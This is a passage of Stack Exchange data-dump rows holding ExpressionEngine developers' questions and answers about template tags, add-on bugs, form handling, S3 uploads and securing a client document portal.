  <row Id="19734" PostTypeId="2" ParentId="19659" CreationDate="2014-02-25T11:56:45.957" Score="0" Body="&lt;p&gt;Turns out it should have been show_group instead of category_group&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{categories show_group=&quot;2&quot;}&#xA;&amp;lt;option value=&quot;{category_id}&quot;{selected}&amp;gt;{category_name}&amp;lt;/option&amp;gt;&#xA;{/categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1014" LastActivityDate="2014-02-25T11:56:45.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19736" PostTypeId="1" CreationDate="2014-02-25T13:13:32.023" Score="0" ViewCount="164" Body="&lt;p&gt;I'm using Expresso-store and on the checkout page I want to update the cart with the modified quanty. But when I hit the update button, I'm redirected to the wrong page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm on: &lt;a href=&quot;http://www.myurl.com/en/cart&quot; rel=&quot;nofollow&quot;&gt;http://www.myurl.com/en/cart&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And I'm redirected to: &lt;a href=&quot;http://www.myurl.com/http://www.myurl.com/en/cart&quot; rel=&quot;nofollow&quot;&gt;http://www.myurl.com/http://www.myurl.com/en/cart&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The hidden fields contain:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;return_url&quot; value=&quot;en/cart&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;RET&quot; value=&quot;http://www.myurl.com/en/cart&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have no idea why it's redirecting wrong. The update however is done correctly!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; &#xA;I'm using this Publisher plugin for multi language. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The next button is working now and redirecting correctly with the following &lt;code&gt;next&lt;/code&gt; parameter.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:checkout next=&quot;{publisher:current_language_code}/winkelmand/gegevens&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found out that it has something to do with publisher. When I  enable &lt;code&gt;Add URL prefix&lt;/code&gt; the full URL is returned in the hidden RET field. Disabling this setting will put a relative URL in the hidden RET field.&lt;/p&gt;&#xA;" OwnerUserId="1700" LastEditorUserId="1700" LastEditDate="2014-02-26T11:19:21.910" LastActivityDate="2014-02-26T11:19:21.910" Title="Expresso-store checkout update return url wrong" Tags="|expresso-store|checkout|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19737" PostTypeId="1" AcceptedAnswerId="19740" CreationDate="2014-02-25T13:53:44.497" Score="1" ViewCount="107" Body="&lt;p&gt;I asked this also on Devotee - apologies for posting in both places but I guess here is better. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I’m setting several variables in the Channel Entries loop like so:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;{exp:stash:set name=&quot;var1&quot; parse_tags=&quot;yes&quot;}{custom_field}{/exp:stash:set} &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Then outputting them later outside the channel like this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;{exp:stash:get name=&quot;var1&quot; default=&quot;uff&quot; process=&quot;end&quot;} &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Which works fine. But then I want to compare “var1” to Segment_3 but can’t find any syntax/conditional which will work…either it outputs nothing or both conditions are true - have tried with If/else plugin too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I’m guessing it’s parse order? What’s the way to compare these values? I tried with this conditional:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;{if segment_3 == &quot;{exp:stash:get name='var1'}&quot;}Success!{/if} &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And it returns nothing when the condition is actually true and the ‘success’ when it’s false. Which is odd. Anyone shed any light?&lt;/p&gt;&#xA;" OwnerUserId="2748" LastActivityDate="2014-02-25T15:02:42.553" Title="Comparing Stash variable to segment fails" Tags="|stash|conditionals|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19739" PostTypeId="1" AcceptedAnswerId="19741" CreationDate="2014-02-25T15:01:28.670" Score="0" ViewCount="71" Body="&lt;p&gt;I am looking to cycle thru all the parent categories of a category group, show three random entries (from the products channel) from each category, then go to the next category in the group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd share some code, but I don't even know where to start.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My final code that works:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:categories &#xA;    style=&quot;linear&quot; &#xA;    category_group=&quot;2&quot; &#xA;    parent_only=&quot;yes&quot;&#xA;}&#xA;    &amp;lt;h1&amp;gt;{category_name}&amp;lt;/h1&amp;gt; &#xA;&#xA;    {exp:channel:entries &#xA;        channel=&quot;products&quot; &#xA;        category=&quot;{category_id}&quot; &#xA;        limit=&quot;3&quot;&#xA;        orderby=&quot;title&quot;&#xA;        sort=&quot;random&quot;&#xA;        status=&quot;open|featured&quot;&#xA;        cache=&quot;yes&quot;&#xA;        refresh=&quot;5&quot;&#xA;        disable=&quot;category_fields|member_data|pagination&quot;&#xA;    }&#xA;        &amp;lt;p&amp;gt;{title}&amp;lt;/p&amp;gt;&#xA;    {/exp:channel:entries}&#xA;{/exp:channel:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13" LastEditorUserId="13" LastEditDate="2014-02-25T15:43:48.497" LastActivityDate="2014-02-26T22:19:20.020" Title="cycle thru each parent category and show 3 entries from each category" Tags="|categories|channel|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19740" PostTypeId="2" ParentId="19737" CreationDate="2014-02-25T15:02:42.553" Score="0" Body="&lt;p&gt;It's a parse order issue: the conditional is being run before the stash variable is set. There may be a more efficient approach, but you can use &lt;a href=&quot;https://github.com/croxton/Stash/wiki/%7Bexp%3astash%3aparse%7D&quot; rel=&quot;nofollow&quot;&gt;stash parse&lt;/a&gt; to make it parse later:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:parse process=&quot;end&quot;}&#xA;    {if &quot;{segment_3}&quot; == &quot;{exp:stash:get name='var1'}&quot;}Success!{/if}&#xA;{/exp:stash:parse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(note the change to segment variable)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or if you can use a &lt;a href=&quot;https://github.com/croxton/Stash/wiki/Variables#wiki-ifelse-advanced-conditionals&quot; rel=&quot;nofollow&quot;&gt;snippet&lt;/a&gt;, try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name=&quot;sn_var1&quot; type=&quot;snippet&quot;}{custom_field}{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and retrieving:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if sn_var1 == segment_3}success{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2014-02-25T15:02:42.553" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19741" PostTypeId="2" ParentId="19739" CreationDate="2014-02-25T15:18:09.860" Score="2" Body="&lt;p&gt;I needed this for a recipe website once and the code below seemed to do the trick:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:categories channel=&quot;products&quot; style=&quot;linear&quot; show_empty=&quot;no&quot;}      &#xA;  &amp;lt;h2&amp;gt;{category_name}&amp;lt;/h2&amp;gt;&#xA;   {exp:channel:entries channel=&quot;products&quot; dynamic=&quot;no&quot; limit=&quot;3&quot; orderby=&quot;random&quot; category=&quot;{category_id}&quot; }                  &#xA;     {title}&#xA;   {/exp:channel:entries}&#xA;{/exp:channel:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The channel param on the categories tag is required unless you only have a single channel. Multiple channels may also be specified.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;see: &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/categories.html#channel&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/channel/categories.html#channel&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps!&lt;/p&gt;&#xA;" OwnerUserId="2788" LastActivityDate="2014-02-25T15:18:09.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19742" PostTypeId="2" ParentId="19723" CreationDate="2014-02-25T15:47:48.600" Score="1" Body="&lt;p&gt;For shits and giggles, have you tried renaming to anything else as a test? yourfunname.php? Is there some sort of htaccess conflict using index?&lt;/p&gt;&#xA;" OwnerUserId="367" LastActivityDate="2014-02-25T15:47:48.600" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19743" PostTypeId="2" ParentId="19119" CreationDate="2014-02-25T16:03:24.000" Score="0" Body="&lt;p&gt;Updating question to state that after direct contact from Zoo, it appears that this is beyond the scope of Zoo Triggers functionality.&lt;/p&gt;&#xA;" OwnerUserId="1162" LastActivityDate="2014-02-25T16:03:24.000" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19744" PostTypeId="1" CreationDate="2014-02-25T16:06:01.500" Score="1" ViewCount="95" Body="&lt;p&gt;I'm currently in the process of transferring channel entry data from an EEv1 site into a fresh new EEv2 site. My method is to populate XML files with channel data and then, using Importer (or DataGrab), pop the channel data into the waiting channels on the new site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem I'm running into is that as you'd expect, custom fields being used on the old site aren't really what I'd like to use on the new. So the example that's giving me a headache is the following;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently Ngen File field being used to handle images/documents on the old site and I'd like to be able to import these images into an Assets field on the new site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone give me some steps or advice on how I would achieve this.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my Exported XML file I have the following&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;images&amp;gt;&#xA;&#xA; &amp;lt;matrix_cell_1&amp;gt;{filedir_1}BREEAM-CTA_1.jpg&amp;lt;/matrix_cell_1&amp;gt;&#xA; &amp;lt;matrix_cell_2&amp;gt;&amp;lt;![CDATA[no-borders]]&amp;gt;&amp;lt;/matrix_cell_2&amp;gt;&#xA;&#xA;&amp;lt;/images&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It has brought the image path through. This image path (&lt;strong&gt;images/uploads/page-images&lt;/strong&gt;) has been recreated exactly on the new site. But how can I go about taking what is essentially a text string (&lt;strong&gt;/images/uploads/page-images/BREEAM-CTA_1.jpg&lt;/strong&gt;) and convert it into a functioning Assets field image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I appreciate that it cannot be as easy as importing that image path directly into an Assets Field. I assume a few extra steps have to be taken in order to have Assets recognize that imported field string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for any advice/answers &lt;/p&gt;&#xA;" OwnerUserId="1230" LastEditorUserId="1230" LastEditDate="2014-02-25T21:27:17.037" LastActivityDate="2014-04-26T23:59:28.497" Title="NGen File Image to Assets within Matrix table" Tags="|assets|pixelandtonic|import|solspace-importer|channel-fields|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="19746" PostTypeId="2" ParentId="11420" CreationDate="2014-02-25T16:17:31.357" Score="1" Body="&lt;p&gt;Had a similar issue recently and I used an IF statement to solve the problem for me. Might help with others who find this page looking for similar answers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To use the OP's example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Trying to get the following to work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{parents field=&quot;minutes_partner&quot; category=&quot;20&quot;} {parents:title} {/parents}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How I got around it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{parents field=&quot;minutes_partner&quot;}&#xA;   {if &quot;{parents:categories}{category_id}{/parents:categories}&quot;==&quot;20&quot;}&#xA;      {parents:title}&#xA;   {/if}&#xA;{/parents}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps someone.&lt;/p&gt;&#xA;" OwnerUserId="2405" LastActivityDate="2014-02-25T16:17:31.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19747" PostTypeId="2" ParentId="19700" CreationDate="2014-02-25T16:18:11.747" Score="0" Body="&lt;p&gt;This was resolved by re-installing zoo visitor. &#xA;&lt;a href=&quot;http://devot-ee.com/add-ons/support/zoo-visitor/viewthread/12676#41054&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/support/zoo-visitor/viewthread/12676#41054&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1128" LastActivityDate="2014-02-25T16:18:11.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19748" PostTypeId="1" AcceptedAnswerId="19838" CreationDate="2014-02-25T16:49:50.693" Score="0" ViewCount="61" Body="&lt;p&gt;Freeform documentation says exp:freeform:entries limit defaults to 20. I want to show all entries. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I add limit=&quot;200&quot; - even though right now there aren't 200 entires - the page takes forever to load. At least 3x as long. Problem is that client is hoping for 2000+ entries eventually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suggestions? Solspace, ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&#xA;Amanda&lt;/p&gt;&#xA;" OwnerUserId="1761" LastActivityDate="2014-02-27T20:39:14.630" Title="Want to show all freeform entries" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19750" PostTypeId="2" ParentId="19711" CreationDate="2014-02-25T17:40:50.290" Score="1" Body="&lt;p&gt;Issue is definitely the formatting. I tested this locally and found that the format you used returns &lt;code&gt;FALSE&lt;/code&gt; when it's passed to the &lt;code&gt;strtotime()&lt;/code&gt; method. This because PHP cannot recognize the format to convert it to a timestamp, thus returning &lt;code&gt;FALSE&lt;/code&gt; which will force the email to be sent immediately. Use the following format:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{parcel:expiration_date format=&quot;%Y/%m/%d %H:%i:%s&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="101" LastActivityDate="2014-02-25T17:40:50.290" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19751" PostTypeId="1" CreationDate="2014-02-25T19:01:14.977" Score="0" ViewCount="60" Body="&lt;p&gt;i've got a weird issue with the first date from calendar entries showing up as the wrong day number &lt;strong&gt;and&lt;/strong&gt; weekday. ie: instead of &lt;strong&gt;01 Sunday&lt;/strong&gt; it reads &lt;strong&gt;001 Monday&lt;/strong&gt;, but every other entry loads perfectly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;full code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:calendar:cal calendar_id=&quot;5057&quot; date_range_start=&quot;{segment_3}-{segment_4}-01&quot; pad_short_weeks=&quot;n&quot; show_months=&quot;1&quot;}&#xA;{display_each_month}&#xA;    {display_each_day}&#xA;        {if day_event_total &amp;gt; 0}&amp;lt;strong&amp;gt;{date format=&quot;%d %l&quot;}&amp;lt;/strong&amp;gt;{/if}&#xA;        {events}&#xA;            {event_start_date format=&quot;%g:%i %a&quot;}&amp;lt;br /&amp;gt;&#xA;            {title}&amp;lt;br /&amp;gt;&#xA;        {/events}&#xA;    {/display_each_day}&#xA;{/display_each_month}&#xA;{/exp:calendar:cal}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you can see it working &lt;a href=&quot;http://fryemuseum.org/calendar/newsletter/2014/03/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; (with some additional inline formatting), in the right column under &lt;strong&gt;March Calendar&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; to confuse things more, there is &lt;a href=&quot;http://fryemuseum.org/calendar/month_list/2014/03/&quot; rel=&quot;nofollow&quot;&gt;another monthly calendar&lt;/a&gt; on the site, from which i created the template above, which does not commit the same error. both have the same settings for PHP handling and use the exact same tags to generate the content.&lt;/p&gt;&#xA;" OwnerUserId="2037" LastEditorUserId="2037" LastEditDate="2014-02-26T21:04:07.193" LastActivityDate="2014-02-26T21:04:07.193" Title="calendar, first date wrong" Tags="|calendar|date-format|events|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19752" PostTypeId="1" CreationDate="2014-02-25T19:06:09.937" Score="0" ViewCount="212" Body="&lt;p&gt;I built an EE site for a business client several years ago, and they are now asking about my adding a client portal to store and share documents. This would need to be a secure area of the site, as the documents may be sensitive. They are currently on a shared hosting plan. My questions are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Can I build this in EE, and be confident that it will be adequately secure? Perhaps using &lt;a href=&quot;http://devot-ee.com/add-ons/protected-links&quot; rel=&quot;nofollow&quot;&gt;Protected Links&lt;/a&gt;, Zoo Visitor and SSL certificate, and storing the files above the root?&lt;/li&gt;&#xA;&lt;li&gt;Would it be better to store files on Amazon S3?&lt;/li&gt;&#xA;&lt;li&gt;Can it be adequately secure on shared hosting?&lt;/li&gt;&#xA;&lt;li&gt;Would I serve the client better by recommended a service such as &lt;a href=&quot;http://www.sharefile.com/&quot; rel=&quot;nofollow&quot;&gt;ShareFile&lt;/a&gt; or something similar, that could be branded.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1512" LastEditorUserId="1512" LastEditDate="2014-02-25T19:37:19.907" LastActivityDate="2014-02-25T22:37:41.840" Title="Building a client portal" Tags="|security|amazons3|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19753" PostTypeId="1" CreationDate="2014-02-25T19:27:44.237" Score="1" ViewCount="245" Body="&lt;p&gt;I've got a grid where one of the cells is a relationship field. I'm unable to get the relationship to output any content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My grid field is {related_quote} the cell with the relationship is &quot;quote_entry&quot; and the content field inside the related entry is &quot;quote_copy&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code as it stands now.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{related_quote}&#xA;&amp;lt;div class=&quot;quote_bubble_text&quot;&amp;gt;&#xA;    {related_quote:quote_entry}&#xA;        {related_quote:quote_entry:quote_copy} Yo something here&#xA;    {related_quote:quote_entry} &#xA;    {!--yo yo yo--}&#xA;&amp;lt;/div&amp;gt;&#xA;{/related_quote}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The only thing I can see is &quot;Yo something here&quot; which indicates taht I've got the relationship working as it's processing copy inside. But can't figure out how to get the actual quote_copy field to render.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2014-02-25T19:27:44.237" Title="Relationship nested in Grid - how to get content" Tags="|relationships|grid|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19755" PostTypeId="1" CreationDate="2014-02-25T20:03:36.790" Score="1" ViewCount="173" Body="&lt;p&gt;Within a channel form, I'm using an Assets field that points to an S3 external source. I'm using the &lt;code&gt;&amp;lt;input type=&quot;file&quot; name=&quot;assets_field_name&quot;&amp;gt;&lt;/code&gt; method (from &lt;a href=&quot;http://docs.pixelandtonic.com/assets/templating/channel_form.html&quot; rel=&quot;nofollow&quot;&gt;http://docs.pixelandtonic.com/assets/templating/channel_form.html&lt;/a&gt;). When I submit the form, the entry is created, but the image is not uploaded. If I use the &lt;code&gt;{field:assets_field_name}&lt;/code&gt; method, the image is uploaded, however I need to maintain my form's visual style, so I can't use this method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The S3 credentials are valid, and I'm able to upload and manage photos from the backend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the &lt;code&gt;&amp;lt;input type=&quot;file&quot; name=&quot;assets_field_name&quot;&amp;gt;&lt;/code&gt; method, is it possible to upload directly to S3 from a channel form?&lt;/p&gt;&#xA;" OwnerUserId="1059" LastEditorUserId="1059" LastEditDate="2014-02-25T21:06:43.780" LastActivityDate="2016-11-13T02:21:40.917" Title="Possible to upload to S3 when using Assets field in channel form as file input?" Tags="|assets|channel-form|s3|amazons3|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19756" PostTypeId="2" ParentId="19621" CreationDate="2014-02-25T20:44:37.293" Score="0" Body="&lt;p&gt;I hope I can offer a few more suggestions to help.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Try using the disable tag in your exp:channel:entries line to reduce some unnecessary queries.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use {if}{/if} and {if}{/if} instead of {if}{if:else}{/if} whenever possible. EE support people have recommended that to me a number of times.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Turn on Display Output Profiler and Display Template Debugging. Note the large number of database queires, in part because of plugins and conditionals, and identify the biggest problem areas. It's a matter of opinion, but I try to keep my total queries per page to no more than 30-40. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Instead of Img Resizer, try using the native Image Manipulations to reduce the number of database queries. I find it helps to use plugins only when absolutely necessary.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You have two embeds at the top for header and navigation. Can they be combined?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Note that Disqus uses a lot of javascripts, slowing the page even more.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Turn on template caching.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use gtmetrix.com to analyze choke points even further.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Scott&lt;/p&gt;&#xA;" OwnerUserId="2564" LastActivityDate="2014-02-25T20:44:37.293" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19757" PostTypeId="1" CreationDate="2014-02-25T21:05:12.947" Score="2" ViewCount="96" Body="&lt;p&gt;Can the target tab drop down be defaulted to &quot;open in new window&quot; when linking to uploaded docs?&lt;/p&gt;&#xA;" OwnerUserId="2789" LastActivityDate="2014-02-26T14:18:50.177" Title="Document Link Target New Window" Tags="|wygwam|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19758" PostTypeId="1" CreationDate="2014-02-25T21:15:52.210" Score="2" ViewCount="93" Body="&lt;p&gt;Our server is being hit with spam requests related to new membership via a url query. The query looks like /index.php?ACT=8&amp;amp;id=G3UISGtdz, with the id changing. This is an older EE 1.6.8 site. I have disabled new membership, but the request keep coming. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to stop this?&lt;/p&gt;&#xA;" OwnerUserId="2790" LastActivityDate="2014-03-14T03:58:56.887" Title="Stop /index.php?ACT=8&amp;id=G3UISGtdz attacks" Tags="|spam|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19759" PostTypeId="2" ParentId="19752" CreationDate="2014-02-25T21:31:56.717" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;If the &quot;clients&quot; don't need access to the EE control panel itself, I don't see why you couldn't achieve the basic presentation with a simple set of page templates using the {if logged_in} tag or some such and combining that with an SSL connection. ( &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/globals/conditionals.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/templates/globals/conditionals.html&lt;/a&gt; )&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The files themselves might be better secured via Amazon S3, yes, but you could produce a combination of S3 and the approach I've outlined in #1 above. You could secure the template-ed pages via EE's normal means, but build a channel specifically for S3 hosted files. Say, using the default title field, plus an Amazon S3 secured link as a custom field. Typically, S3 links are time sensitive, so the custom field might simply contain the file name. At display time, you could establish a connection to that file name to an S3 bucket containing it using an API key to generate an expiring link. This would help ensure that sharing links with unauthorized users would become pretty useless.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I'd say your definition of &quot;adequate&quot; is important here. The spectrum might range from &quot;DOD&quot;-secure or &quot;I'd be a little embarrassed if this leaked&quot;-secure. Personally, I'd find the above approach reasonably secure, but I wouldn't assume the NSA wasn't downloading those secured files on their donut breaks.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;There's a reasonable argument to be made for using a 3rd party file sharing service like Sharefile or Dropbox, yes. However, branding isn't the reason you'd go that route. Using a 3rd party is the no-development-necessary approach. Fast turn up. The upside of the EE approach is that it's fully branded using the site's page templates you already have in place.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2720" LastEditorUserId="2720" LastEditDate="2014-02-25T22:37:41.840" LastActivityDate="2014-02-25T22:37:41.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19760" PostTypeId="1" AcceptedAnswerId="20159" CreationDate="2014-02-25T21:33:37.467" Score="1" ViewCount="58" Body="&lt;p&gt;ExpressionEngine 2.7.3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have installed the moblog add-on and it is working fine except when I try and implement user authorization it refuses to work.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I make authentication required then the entry is not imported at all and if I set it to delete un-authorized emails it just deletes the email.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I do not set authorization as required then the import completes but the authorization line is added to the top of the moblog field in the new entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what my emails contain:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;AUTH:username:user_password&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;moblog field content here&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Any ideas would be much appreciated.  Am I missing a vital setting or permission option somewhere?&lt;/p&gt;&#xA;" OwnerUserId="2791" LastActivityDate="2014-03-10T21:53:59.620" Title="Moblog User Authorization not working" Tags="|module|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19763" PostTypeId="1" CreationDate="2014-02-25T22:19:17.690" Score="1" ViewCount="355" Body="&lt;p&gt;I'm working on a form (using Freeform) that lives in a modal box (become a partner on this page: &lt;a href=&quot;http://framework.tunnel7.com/partners&quot; rel=&quot;nofollow&quot;&gt;http://framework.tunnel7.com/partners&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'm trying to accomplish is having the error messages displayed inline (I have those parameters in place) when a user hits submit in the same modal window.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is happening now is on submit the modal closes and if you click on the become a member button again it displays with the errors inline (so it's working) ... but I can't see a way to keep the modal open if there is an error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to accomplish this that I'm overlooking?&lt;/p&gt;&#xA;" OwnerUserId="560" LastActivityDate="2014-05-03T04:19:03.320" Title="Using Freeform - have form errors display in modal window (Fancybox) without closing" Tags="|solspace-freeform|solspace|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19764" PostTypeId="2" ParentId="19763" CreationDate="2014-02-25T22:52:29.333" Score="0" Body="&lt;p&gt;You could use $.post() to submit the form, then give the user feedback based on the response you receive. If you get an error, you tell the user about it, either within the modal or on a dedicated error page. If the form submitted successfully you either update the modal right there on the page or redirect the user to some sort of success/thank you page.&lt;/p&gt;&#xA;" OwnerUserId="660" LastActivityDate="2014-02-25T22:52:29.333" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
